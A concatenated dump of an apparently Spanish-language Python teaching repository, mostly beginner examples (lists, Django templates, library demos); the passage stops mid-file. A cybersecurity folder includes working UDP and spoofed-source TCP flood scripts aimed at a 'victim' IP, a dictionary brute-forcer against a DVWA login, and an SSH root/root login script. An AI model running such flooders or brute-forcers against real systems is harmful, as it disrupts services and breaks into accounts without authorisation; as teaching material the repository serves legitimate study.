3 | lista2 = [1,2,3,4]
4 | buscar=3
5 |
6 | print (buscar in lista) #Para ver si la variable (buscar) esta en la lista
7 | print (lista.index(buscar)) #Para ver en que posicion esta la variable (buscar) en la lista
8 | lista.append("nuevo elemento") #agregar un nuevo elemento al final de la lista
9 | lista.insert(2, "nuevo") #agregar un nuevo elemento en la posicion 2
10 | lista.extend(lista2) #agregar la lista (lista2) en la lista (lista)
11 | lista.pop(1) #elimina esa posicion en la lista
12 | print (lista)
13 | print (lista.count(3)) #ver cuantas veces esta 3 en la lista
14 | lista.reverse() #pone la lista de atras hacia adelante
15 | print (lista)
16 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/plantillas/otra.html:
--------------------------------------------------------------------------------
1 |
2 | {% extends "barra.html" %}
3 |
4 | {% block content %}
5 |
6 |
7 |
12 |
24 |
25 | {% endblock %}
26 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/07_Pubchempy_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala pubchempy con el siguiente comando "pip install pubchempy"
2 | import pubchempy
3 | import pubchempy as pcp
4 |
5 | #Ingrese el nombre de el quimico en ingles
6 | nombre_quimico_en = input("Ingrese el nombre del elemento quimico en ingles: ")
7 |
8 | #Se trae la informacion relacionada a ese nombre de ese quimico
9 | componentes_quimicos = pcp.get_compounds(nombre_quimico_en, 'name')[0]
10 |
11 | #Con el siguiente codigo se imprime en pantalla la informacon
12 | print(f"Nombre IUPAC: {componentes_quimicos.iupac_name}")
13 | print(f"Simbolo quimico: {componentes_quimicos.molecular_formula}")
14 | print(f"Nombre comun: {componentes_quimicos.synonyms[0]}")
15 | print(f"El peso molecular: {componentes_quimicos.molecular_weight}")
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/15_Corrector_OrtografiaIngles.py:
--------------------------------------------------------------------------------
1 | # Primero se instala textblob con el siguiente comando "pip install textblob"
2 | # Luego de bajar librerias, las importamos
3 | from textblob import TextBlob
4 |
5 | #Pedimos que ingresen el texto en ingles con errores de ortografia
6 | # ejemplo de texto mal escrito "I havv a guud ideea"
7 | texto_con_errores_ortograficos = input("Por favor ingresen el texto en ingles a corregir: ")
8 |
9 | #Guardamos el texto en una variable
10 | texto_analizado = TextBlob(texto_con_errores_ortograficos)
11 |
12 | # El texto lo corregimos y lo guardamos corregido en una variable
13 | texto_corregido = texto_analizado.correct()
14 |
15 | # Mostramos en pantalla los 2 textos el errado y el corregido
16 | print("Texti escrito : ", texto_analizado)
17 | print("Texto corregido :", texto_corregido)
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/11_CountryInfo_DatosPais.py:
--------------------------------------------------------------------------------
1 | ####
2 | # Primero se instala countryinfo con el siguiente comando "pip install countryinfo"
3 | # Luego de bajar librerias, las importamos
4 | from countryinfo import CountryInfo
5 |
6 | # Se guarda en una variable el nombre de un pais en el idioma ingles
7 | Nombre_Pais = input("Ingrese el nombre de un pais en el idioma ingles: ")
8 |
9 | # luego guardamos la informacion en una variable, despues de consultar el nombre del pais
10 | info_pais = CountryInfo(Nombre_Pais)
11 |
12 | # El siguiente codigos se imprime en pantalla diferentes datos del pais consultado
13 | print("La capital es :", info_pais.capital())
14 | print("Simbolos de su moneda : ", info_pais.currencies())
15 | print("El idioma mas usado es : ", info_pais.languages())
16 | print("Los paises en frontera son : ", info_pais.borders())
17 | print("Nombre completo : ", info_pais.alt_spellings())
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/01_FuerzaBruta_Contraseñas.py:
--------------------------------------------------------------------------------
1 | # Fuerza bruta a un hash de contraseña
2 | # Primero se instala hashlib con el siguiente comando "pip install hashlib"
3 | import hashlib
4 |
5 | #Ejemplo de hash, en este caso es el sha256 de la contraseña "test"
6 | hash_file = "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
7 |
8 | #Se ingresa una palabra que es la posible contraseña
9 | posible_contrase = input("ingrese la palabra a probar : ")
10 |
11 | #Luego convertimos la posible contraseña en un sha256
12 | hash_calculado = hashlib.sha256(posible_contrase.encode()).hexdigest()
13 |
14 | #Comparamos los 2 hash y si son iguales, se muestra un mensaje, si no son iguales sale unra respuesta
15 | if hash_calculado == hash_file:
16 | print("Se encontro la contraseña y es: " + posible_contrase)
17 | else:
18 | print("la contraseña NO es la ingresada ")
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/05_CreacionContraseña.py:
--------------------------------------------------------------------------------
1 | # pip install random
2 | import random
3 |
4 | #En la siguiente linea se ingresa la cantidad de caracteres que va a tener la contraseña
5 | cantidad_caracteres = int(input("Porfavor ingrese la cantidad de caracteres: "))
6 |
7 | #Se declaran los posibles caracteres que va a tener la contraseña
8 | minuscula = "abcdefghijklmnñopqrstuvwxyz"
9 | mayuscula = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ"
10 | numeros = "0123456789"
11 | simbolos = "!@#$%&/()=?¡¨*][_:;><]"
12 |
13 | #Se agrupan todos los carecteres posibles en una variable
14 | todos_los_caracteres = minuscula + mayuscula + numeros + simbolos
15 |
16 | #Se crea la contraseña con la posiblidad de obtener todos los caracteres y se le adjunta la cantidad
17 | contraseña = ''.join(random.sample(todos_los_caracteres, cantidad_caracteres))
18 |
19 | print("La contraseña creada es : " + contraseña)
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/14_Codigo_De_Barras.py:
--------------------------------------------------------------------------------
1 | # Primero se instala wifiqrcode con el siguiente comando "pip install python-barcode" "pip install Ipython"
2 | import barcode
3 | from barcode.writer import ImageWriter
4 | from IPython.display import Image, display
5 |
6 | # Con el siguiente codigo, se guarda la informacion dentro del codigo de barras y el nombre del archivo
7 | contenido = input("Por favor ingrese 12 digitos de la informacion del Codigo de barras: ")
8 | nombre_archivo = "CodigoDeBarras"
9 |
10 | #Se escoge el formato ean13 del barcode
11 | formato_codigo_barras = barcode.get_barcode_class('ean13')
12 |
13 | #Se crea la imagen de codigo de barras y se guarda en una variable
14 | imagen_codigo_barras = formato_codigo_barras(contenido, writer = ImageWriter())
15 | imagen_codigo_barras.save(nombre_archivo)
16 |
17 | #Se muestra la imagen creada
18 | display(Image(filename = f'{nombre_archivo}.png'))
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/02_cadenas.py:
--------------------------------------------------------------------------------
1 | # Teniendo el hola mundo, como una cadena de texto, se puede imprimir informacion con los siguientes comando
2 | s = "Hola mundo"
3 |
4 | print (len(s)) #Sirve para imprimir la cantidad de caracteres hay en la cadena S
5 | print (s.count("o")) #Sirve para encontrar la cantidad de caracteres O en la cadena s
6 | print (s.count("o",0,5)) #Sirve para encontrar la cantidad de caracteres O en la cadena s desde el caracter 0 al 5
7 | print (s.lower()) #Sirve para poner toda la cadena en minuscula
8 | print (s.upper()) #Sirve para poner toda la cadena en mayuscula
9 | print (s.replace("o", "x")) #Sirve para reemplazar la letra o por la x
10 | print (s.split("o", 1)) #Sirve para cortar la cadena en la letra o , 1 vez
11 | print (s.find("a")) #Sirve para mostrar la posicion donde esta esa variable en la cadena
12 | print (type(s)) #Sirve para mostrar el tipo de caracter que hay
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/10_Turtle_ejemplo_flor.py:
--------------------------------------------------------------------------------
1 | ####
2 | # Primero se instala turtle con el siguiente comando "pip install turtle"
3 | # Luego de bajar librerias, las importamos
4 | import turtle
5 |
6 | # Se crean las variables que muestran el dibujo de la flor
7 | t= turtle.Turtle()
8 | s= turtle.Screen()
9 | s.bgcolor('#474747')
10 | t.pencolor('#ff0000')
11 | t.speed(100)
12 |
13 | # Creamos la variable que tiene los colores que se usaran en la sombraa de la flor
14 | col=('#ff5000','#ff5500','#ff5555','#ff8888')
15 |
16 | # El siguiente grupo de for es la descripcion de el camino que hara el objeto dibujante
17 | # Recorriendo un cuadro de diferentes colores
18 | for n in range(5):
19 | for x in range(8):
20 | t.speed(x+10)
21 | for i in range(2):
22 | t.pensize(2)
23 | t.circle(90+n*20,90)
24 | t.lt(90)
25 | t.lt(45)
26 | t.pencolor(col[n%4])
27 | s.exitonclick()
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/03_Paramiko_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala paramiko con el siguiente comando "pip install paramiko"
2 | import paramiko
3 |
4 | #En las siguientes lineas, se crean las variables necesarias
5 | #Acontinuacion se guarda la ip del dispositivo final de la conexion ssh, el puerto y el usuario y contraseña
6 | host = input("Por favor, la direccion ip de la victima (ej: 192.168.0.10) : ")
7 | # host = "192.168.0.10"
8 | puerto = 22
9 | nombre_usuario = "root"
10 | contraseña = "root"
11 |
12 | comando = "pwd"
13 |
14 | #En el siguiente codigo se ingresa la informacion a la variable ssh para por ultimo ingresar la variable comando cuando ya haya conexion
15 | ssh = paramiko.SSHClient()
16 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
17 | ssh.connect(host, puerto, nombre_usuario, contraseña)
18 | stdia, stdout, stderr = ssh.exec_command(comando)
19 | lines = stdout.readlines()
20 | print(lines)
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/06_PyAutoGUI_ejemplo_2.py:
--------------------------------------------------------------------------------
1 | # Primero se instala PyAutoGUI con el siguiente comando "pip install PyAutoGUI"
2 | import pyautogui
3 | import time
4 |
5 | #Con las 2 funciones siguientes, se mueve el mause hacia una coordenada exacta.
6 | #Con moveTo, el puntero del mause llega rapido y con moverel, se demora su transporte
7 |
8 | #Se realiza una seccion de movimiento ante de entrar al ciclo
9 | pyautogui.moveTo(300,300, duration=5)
10 | pyautogui.press("enter")
11 | pyautogui.moveRel(300,300, duration=5)
12 | time.sleep(5)
13 |
14 | #Se crea el ciclo, donde se realiza el movimiento constante por 15 minutos
15 | ciclo =0
16 | while ciclo <=10:
17 | if ciclo <=10 :
18 | pyautogui.moveTo(300,300, duration=30)
19 | pyautogui.moveRel(300,300, duration=30)
20 | time.sleep(5)
21 | break
22 | print ("Vas en la ejecucion: "+ str(ciclo))
23 | ciclo = ciclo +1
24 |
25 | #Sale una alerta que dice que ya se acabo el script
26 | pyautogui.alert('Terminamos el script.')
27 |
28 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Ataques_de_intrusion/01_Paramiko_ejemplo_ssh.py:
--------------------------------------------------------------------------------
1 | # Primero se instala paramiko con el siguiente comando "pip install paramiko"
2 | import paramiko
3 |
4 | #En las siguientes lineas, se crean las variables necesarias
5 | #Acontinuacion se guarda la ip del dispositivo final de la conexion ssh, el puerto y el usuario y contraseña
6 | host = input("Por favor, la direccion ip de la victima (ej: 192.168.0.10) : ")
7 | # host = "192.168.0.10"
8 | puerto = 22
9 | nombre_usuario = "root"
10 | contraseña = "root"
11 |
12 | comando = "pwd"
13 |
14 | #En el siguiente codigo se ingresa la informacion a la variable ssh para por ultimo ingresar la variable comando cuando ya haya conexion
15 | ssh = paramiko.SSHClient()
16 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
17 | ssh.connect(host, puerto, nombre_usuario, contraseña)
18 | stdia, stdout, stderr = ssh.exec_command(comando)
19 | lines = stdout.readlines()
20 | print(lines)
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/07_Encriptacion_texto_fernet.py:
--------------------------------------------------------------------------------
1 | # En el siguiente codigo se muestra como se crea una llave o key para encriptar un texto
2 | # Luego se ingresa un texto y se muestra encriptada la informacion
3 | # pip install cryptography
4 | from cryptography.fernet import Fernet
5 |
6 | # Ingresamos el texto que se va a encriptar
7 | contenido = input("Por favor ingrese la informacion que va a encriptar: ")
8 | mensaje = contenido.encode()
9 |
10 | # Generar una clave, llave o key secreta y aleatoria
11 | clave = Fernet.generate_key()
12 | print(f"Llave generada: {clave}")
13 |
14 | # Se crea un objeto con la clave guardada
15 | fernet = Fernet(clave)
16 |
17 | # Se procede a encriptar el mensaje
18 | mensaje_cifrado = fernet.encrypt(mensaje)
19 | print(f"El mensaje cifrado: {mensaje_cifrado}")
20 |
21 | # El siguiente codigo sirve para descifrar el mensaje
22 | mensaje_descifrado = fernet.decrypt(mensaje_cifrado)
23 | print(f"El mensaje descifrado: {mensaje_descifrado.decode()}")
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/plantillas/barra.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
24 |
25 | {% block content %}
26 |
27 | {% endblock %}
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/01_descargar_video_youtube.py:
--------------------------------------------------------------------------------
1 | # Primero se instala pytube con el siguiente comando "pip install pytube"
2 | from pytube import YouTube
3 |
4 | #Los siguientes codigo solicitan la url del video y lo convierte en datos
5 | link = input("Por favor, ingrese la direccion del video en youtube: ")
6 | yt = YouTube(link)
7 | formatos_video= yt.streams.all()
8 |
9 | #La siguiente linea, organiza los tipos de formato del video que se puede descargar
10 | video =list(enumerate(formatos_video))
11 |
12 | #Este for imprime los tipos de formato de video en los que se puede descargar
13 | for i in video:
14 | print(i)
15 |
16 | #Se pregunta cual de los formatos de descarga va a elegir y lo guarda en la variable option_escogida
17 | print("ingrese la opción deseada para descargar el formato ")
18 | option_escogida = int(input(" La opcion es : "))
19 |
20 | descargar_video= formatos_video[option_escogida]
21 | descargar_video.download() #Con este comando se descarga el video
22 |
23 | print(" Descarga exitosa")
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/04_Sniffer_Bluetooth_Pyrtlsdr.py:
--------------------------------------------------------------------------------
1 | # En este codigo se muestra un ejemplo de escaner de bluetooth
2 | # y tambien como usar la libreria RtlSdr
3 | # pip install numpy scipy matplotlib sounddevice pyrtlsdr
4 | from rtlsdr import RtlSdr
5 | import numpy as np
6 | import matplotlib.pyplot as plt
7 |
8 | # Configuración del SDR (ejemplo en canal 37 de BLE)
9 | Radio_frecuencia = RtlSdr()
10 | Radio_frecuencia.sample_rate = 2.4e6
11 | Radio_frecuencia.center_freq = 2.402e9 # Canal 37
12 | Radio_frecuencia.gain = 40
13 |
14 | # Captura muestras
15 | Muestra_ejemplo = Radio_frecuencia.read_samples(256*1024)
16 | Radio_frecuencia.close()
17 |
18 | # Visualiza espectro
19 | fft = np.fft.fftshift(np.fft.fft(Muestra_ejemplo))
20 | psd = 20 * np.log10(np.abs(fft))
21 | freqs = np.linspace(-Radio_frecuencia.sample_rate/2, Radio_frecuencia.sample_rate/2, len(psd)) / 1e6
22 |
23 | plt.plot(freqs, psd)
24 | plt.title("BLE Spectrogram (Canal 37)")
25 | plt.xlabel("Frecuencia (MHz)")
26 | plt.ylabel("Potencia (dB)")
27 | plt.grid(True)
28 | plt.show()
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Forense/01_Yara_Caracteres_En_Archivo.py:
--------------------------------------------------------------------------------
1 | # En este software se muestra un ejemplo de analisis forense estatico
2 | # Con la libreria yara se analiza un .txt en busqueda de palabras claves
3 | # En este archivo hay un "Hola Mundo"
4 | # pip install pefile
5 |
6 | import yara
7 |
8 | # Definir una regla YARA
9 | regla = """
10 | rule DetectaHolaMundo
11 | {
12 | strings:
13 | $cadena1 = "Hola Mundo"
14 | condition:
15 | $cadena1
16 | }
17 |
18 | rule DetectaPalabraArchivo
19 | {
20 | strings:
21 | $cadena2 = "archivo"
22 | condition:
23 | $cadena2
24 | }
25 | """
26 |
27 | # Compilar la regla
28 | reglas = yara.compile(source=regla)
29 |
30 | # Crear un archivo de prueba
31 | with open("archivo_prueba.txt", "w", encoding="utf-8") as f:
32 | f.write("Este Archivo con A mayuscula dice : Hola Mundo")
33 |
34 | # Aplicar la regla al archivo
35 | matches = reglas.match("archivo_prueba.txt")
36 |
37 | # Ver coincidencias
38 | for match in matches:
39 | print(f"Regla que se encontro en el archivo : {match.rule}")
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/04_Mostrar_geolocalizacion_ip.py:
--------------------------------------------------------------------------------
1 | # Primero se instala requests con el siguiente comando "pip install requests"
2 | #Primero se instala json con el siguiente comando "pip install json"
3 | import requests
4 | import json
5 |
6 | # URL de la API
7 | api_url = "http://ip-api.com/json/"
8 |
9 | # Definimos los parametros de respuesta que queremos obtener
10 | parametros = 'status,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,query'
11 | data = {"fields":parametros}
12 |
13 | def ubicaciongeoip (ip=""):
14 | # Nos conectamos con la API
15 | res = requests.get(api_url+ip, data=data)
16 | # Obtenemos y procesamos la respuesta JSON
17 | api_json_res = json.loads(res.content)
18 | return api_json_res
19 |
20 | if __name__ == '__main__':
21 | # Solicitamos la entrada
22 | ip = input("Ingrese la dirección IP: ")
23 |
24 | # Llamamos a la función ubicaciongeoip y mostramos los resultados
25 | par = parametros.split(",")
26 | for x in par:
27 | print(x.upper(), ":")
28 | print(ubicaciongeoip(ip)[x])
29 | print("n")
30 |
31 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/urls.py:
--------------------------------------------------------------------------------
1 | """proyecto1 URL Configuration
2 |
3 | The `urlpatterns` list routes URLs to views. For more information please see:
4 | https://docs.djangoproject.com/en/2.1/topics/http/urls/
5 | Examples:
6 | Function views
7 | 1. Add an import: from my_app import views
8 | 2. Add a URL to urlpatterns: path('', views.home, name='home')
9 | Class-based views
10 | 1. Add an import: from other_app.views import Home
11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
12 | Including another URLconf
13 | 1. Import the include() function: from django.urls import include, path
14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
15 | """
16 | from django.contrib import admin
17 | from django.urls import path,include,re_path
18 |
19 | from proyecto1.views import saludo
20 | from proyecto1.views import html, otra, conestilos
21 |
22 | urlpatterns = [
23 | path('admin/', admin.site.urls),
24 | path('saludo/', saludo),
25 | path('html/', html),
26 | path('otra/', otra),
27 | path('conestilos/', conestilos),
28 |
29 | ]
30 |
31 |
32 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/07_Prueba_Velocidad_Internet.py:
--------------------------------------------------------------------------------
1 | # Primero se instala speedtest con el siguiente comando "pip install speedtest-cli"
2 | import speedtest as st
3 |
4 | #En la funcion llamada prueba de velocidad esta toda la logica del programa
5 | def prueba_de_velocidad():
6 | prueba = st.Speedtest()
7 |
8 | #Con el siguiente bloque de codigo, se una la opcion dowload de la libreria para ver la velocidad de bajada
9 | velocidad_bajada = prueba.download()
10 | velocidad_bajada = round(velocidad_bajada / 10**6, 2)
11 | print("Velocidad de bajada en Mbps: ", velocidad_bajada)
12 |
13 | #Con el siguiente bloque de codigo, se una la opcion upload de la libreria para ver la velocidad de subida
14 | velocidad_subida = prueba.upload()
15 | velocidad_subida = round(velocidad_subida / 10**6, 2)
16 | print("Velocidad en subida en Mbps: ", velocidad_subida)
17 |
18 | #Por ultimo se muestra el ping de la comunicacion a internet
19 | ping = prueba.results.ping
20 | print("El pign actual es : ", ping)
21 | prueba_de_velocidad()
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/03_FuerzaBruta_Diccionario_EJ_2.py:
--------------------------------------------------------------------------------
1 | # Ejemplo de como crear un software de fuerza bruta con diccionario
2 | # Primero importamos las librerias
3 | # pip install requests
4 | # pip install termcolor
5 |
6 | import sys
7 | import requests
8 | from termcolor import colored, cprint
9 | cookie = {"PHPSESSID": "qk9e71ier8vi62jumounl7jidf",
10 | "security":"low"}
11 |
12 | def file_read(file):
13 | with open(file,mode='r',encoding='utf-8') as file_text:
14 | return file_text.read()
15 |
16 | usuario = file_read("usuario.txt").split("\n")
17 | contraseña = file_read("contraseña.txt").split("\n")
18 |
19 |
20 | for i in usuario:
21 | for j in contraseña:
22 | url = f"http://192.168.1.142/dvwa/vulnerabilities/brute/?username={i}&contraseña={j}&Login=Login#"
23 | response = requests.get(url,cookies=cookie)
24 |
25 | if not "Username and/or contraseña incorrect." in response.text:
26 | cprint(f"[+] {i}:{j} es valido", "green", attrs=["bold"], file=sys.stderr)
27 | else:
28 | cprint(f"[-] {i}:{j} no es valido", "red", attrs=["bold"], file=sys.stderr)
29 |
30 |
31 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/16_Dashboard_dash.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un ejemplo de un dashboard
2 | # en este tablero se muestra informacion relacionada a la vida y el pib de un pais
3 | # Primero se instala dash con el siguiente comando "pip install dash"
4 | import dash
5 | from dash import html, dcc
6 | import plotly.express as px
7 | import pandas as pd
8 |
9 | # Crear la aplicación Dash
10 | app = dash.Dash(__name__)
11 |
12 | # Cargar datos de ejemplo
13 | df = px.data.gapminder().query("year == 2007")
14 |
15 | # Crear un gráfico interactivo
16 | figura = px.scatter(
17 | df,
18 | x="gdpPercap",
19 | y="lifeExp",
20 | size="pop",
21 | color="continent",
22 | hover_name="country",
23 | log_x=True,
24 | size_max=60,
25 | title="Esperanza de vida vs PIB per cápita (2007)"
26 | )
27 |
28 | # Definir el layout del dashboard
29 | app.layout = html.Div([
30 | html.H1("Dashboard en Python con Dash", style={"textAlign": "center"}),
31 | html.P("Visualización de datos del mundo - Gapminder", style={"textAlign": "center"}),
32 | dcc.Graph(id="grafico", figure=figura)
33 | ])
34 |
35 | # Iniciar el servidor
36 | if __name__ == '__main__':
37 | app.run(debug=True)
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/13_Numpy_Matplot_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala numpy con el siguiente comando "pip install numpy"
2 | # Primero se instala matplotlib con el siguiente comando "pip install matplotlib"
3 | # Primero se instala mpl_toolkits con el siguiente comando "pip install mpl_toolkits"
4 | import numpy as np
5 | import matplotlib.pyplot as plt
6 | import mpl_toolkits.mplot3d as Axes3D
7 |
8 | #En las siguientes lineas, se especifica los rangos de informacion en cada eje de la grafica
9 | x = np.linspace(-5, 5, 1000)
10 | y = np.linspace(-5, 5, 1000)
11 | x, y = np.meshgrid(x,y)
12 | z= np.exp(-0.5 * (x**2 + y**2)) * 10
13 |
14 | #En los siguientes codigos se crea la figura dentro del plano carteciano
15 | fig = plt.figure(figsize = (10,8))
16 | ax = fig.add_subplot(111, projection = '3d')
17 | surf = ax.plot_surface(x,y,z, cmap='terrain', edgecolor= 'none')
18 | fig.colorbar(surf, ax=ax, shrink=0.5, aspect=5)
19 |
20 | #Se le ponen nombre a las dimensiones de el plano carteciano 3d
21 | ax.set_title("Simulacion relieve de una montaña sintetica")
22 | ax.set_xlabel("Eje X")
23 | ax.set_ylabel("Eje Y")
24 | ax.set_zlabel("Elevacion Z")
25 | plt.show()
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/08_Psutil_Detectar_Usb.py:
--------------------------------------------------------------------------------
1 | # Con este codigo se crea un detectador de USB
2 | # Usando la libreria Psutil
3 | # pip install pywin32 psutil
4 | import psutil
5 | import time
6 | import subprocess
7 |
8 | # Con esta funcion se logran inicializar la libreria psulti y darle las caracteristicas
9 | def get_usb_drives():
10 | drives = []
11 | partitions = psutil.disk_partitions(all=False)
12 | for p in partitions:
13 | if 'removable' in p.opts or 'cdrom' in p.opts:
14 | drives.append(p.device)
15 | return set(drives)
16 |
17 | print("Monitoreando conexiones USB...")
18 | previous = get_usb_drives()
19 |
20 | # Se deja escuchando los puertos usb y se crea un while
21 | # Con el fin de que se ejecute cada que ingrese una usb a los puertos
22 | while True:
23 | time.sleep(2)
24 | current = get_usb_drives()
25 | new_devices = current - previous
26 |
27 | if new_devices:
28 | for device in new_devices:
29 | print(f"Nueva USB detectada: {device}")
30 | # Aquí puedes ejecutar cualquier script o acción
31 | #subprocess.run(["python", "tu_script.py"]) # Cambia por tu ruta
32 | previous = current
33 |
34 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Ataques_de_intrusion/03_Scapy_DenegacionDeServiciosDOS.py:
--------------------------------------------------------------------------------
1 | # En esta aplicacion se hara un software de denegacion de servicio con la libreria scapy de python
2 | # Primero se instala scapy con el siguiente comando "pip install scapy"
3 | from scapy.all import *
4 | from scapy.layers.inet import IP
5 | from scapy.layers.inet import TCP
6 |
7 | # Se solicita los datos de la victima
8 | Ip_origen = input("Por favor ingrese la IP Origen: ")
9 | Ip_destino = input("Por favor ingrese la IP Destino: ")
10 | puerto = int(input("Por favor ingrese el puerto de origen: "))
11 |
12 | # Se crea el indice del contador del while y se pide la cantidad de paquetes que se envian
13 | i = 1
14 | paquetes = int(input("Por favor ingresen cuantos paquetes va a enviar: "))
15 |
16 | # Se crea el while que automatiza el envio de paquetes a la ip de la victima por el puerto de la victima
17 | while i <= paquetes:
18 | IP_info = IP(src=Ip_origen, dst=Ip_destino)
19 | TCP_info = TCP(sport=puerto, dport=80)
20 | Pqte = IP_info / TCP_info
21 | send(Pqte, inter=.001)
22 | print("Enviado [", paquetes, "] Paquetes")
23 | i+=1
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/plantillas/miplantilla.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Document
9 |
10 |
11 |
12 | {% extends "barra.html" %}
13 |
14 | {% block content %}
15 |
16 |
hola alumnos como estan? {{nombre}} {{apellido}}
17 |
18 |
{{temas}}
19 |
Por numero en la lista
20 |
{{temas.0}}
21 |
{{temas.1}}
22 |
{{temas.2}}
23 |
24 |
Recorre una lista con un for
25 |
26 | {% for untema in temas %}
27 |
{{ untema }}
28 | {% endfor %}
29 |
30 |
31 |
32 |
Si hay informacion, recorre el for, si no muestra mensaje
33 | {% if otrostemas %}
34 |
35 | {% for untema in temas %}
36 |
{{ untema }}
37 | {% endfor %}
38 |
39 | {% else %}
40 |
No hay informacion
41 | {% endif %}
42 |
43 |
44 |
45 |
46 | {% endblock %}
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Ataques_de_intrusion/04_Socket_DenegacionDeServiciosDOS.py:
--------------------------------------------------------------------------------
1 | # Esta aplicacion para denegar servicios se utilizo el lenguaje python y la libreria socket
2 | # Primero se instala socket con el siguiente comando "pip install socket"
3 | import socket
4 | import random
5 |
6 | # Se solicita la informacion de la victima para ejecutar el ataque y esto se guarda en variables
7 | ip_victima = input("Por favor, indique la IP de la victima: ")
8 | puerto_victima = int(input("Por favor, Ingrese el puerto victima: "))
9 |
10 | socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
11 | dato_aleatorios = random._urandom(1490)
12 |
13 | # Se crea el while que ejecutara el envio de paquetes automaticamente
14 | # Usando sendto para enviar los paquetes y al final del envio imprimiendo en patalla la cantidad de paquetes y el puerto
15 | paquetes_enviados = 0
16 | while True:
17 | socket_udp.sendto(dato_aleatorios, (ip_victima, puerto_victima))
18 | paquetes_enviados += 1
19 | puerto_victima += 1
20 | print(f"Enviados {paquetes_enviados} paquetes a {ip_victima} a través del puerto: {puerto_victima}")
21 | if puerto_victima == 65534:
22 | puerto_victima = 1
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/02_Pdf_crea_audiolibro.py:
--------------------------------------------------------------------------------
1 | # Primero se instala PyPDF3, pyttsx3 y pdfplumber con el siguiente comando "pip install PyPDF3" , "pip install pyttsx3" , "pip install pdfplumber"
2 | import PyPDF3
3 | import pyttsx3
4 | import pdfplumber
5 |
6 | #Guardamos el nombre del pdf
7 | nombre_pdf = 'pdf.pdf'
8 | #El nombre del pdf mas rb que es para windows
9 | book = open(nombre_pdf, 'rb')
10 | #solicitamos leer ese documento
11 | pdfReader = PyPDF3.PdfFileReader(book)
12 | #implementamos el numpages y declaramos la variable del texto final
13 | pages = pdfReader.numPages
14 | finalText = ""
15 |
16 | #se usa la libreria pdfplumber para abrir el pdf con el nombre ya guardado anteriormente
17 | with pdfplumber.open(nombre_pdf) as pdf:
18 | #se ejecuta el for que recorre las paginas del pdf almacenando su contenido en una variable llamada finalText
19 | for i in range(0, pages):
20 | page = pdf.pages[i]
21 | text = page.extract_text()
22 | finalText += text
23 |
24 | #Se inicia la libreria pyttsx3 y luego se guardar el audio luego de recibir el texto final en una variable
25 | # y el nombre del audio
26 | engine = pyttsx3.init()
27 | engine.save_to_file(finalText, 'mp3.mp3')
28 | engine.runAndWait()
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/04_Scapy_PING_IP.py:
--------------------------------------------------------------------------------
1 | from scapy.all import IP, ICMP, sr1
2 | import time
3 |
4 | # Se crea la funcion que realiza el ping a una destino ip
5 | # De las variables que tiene, se le habilita una de ip destino
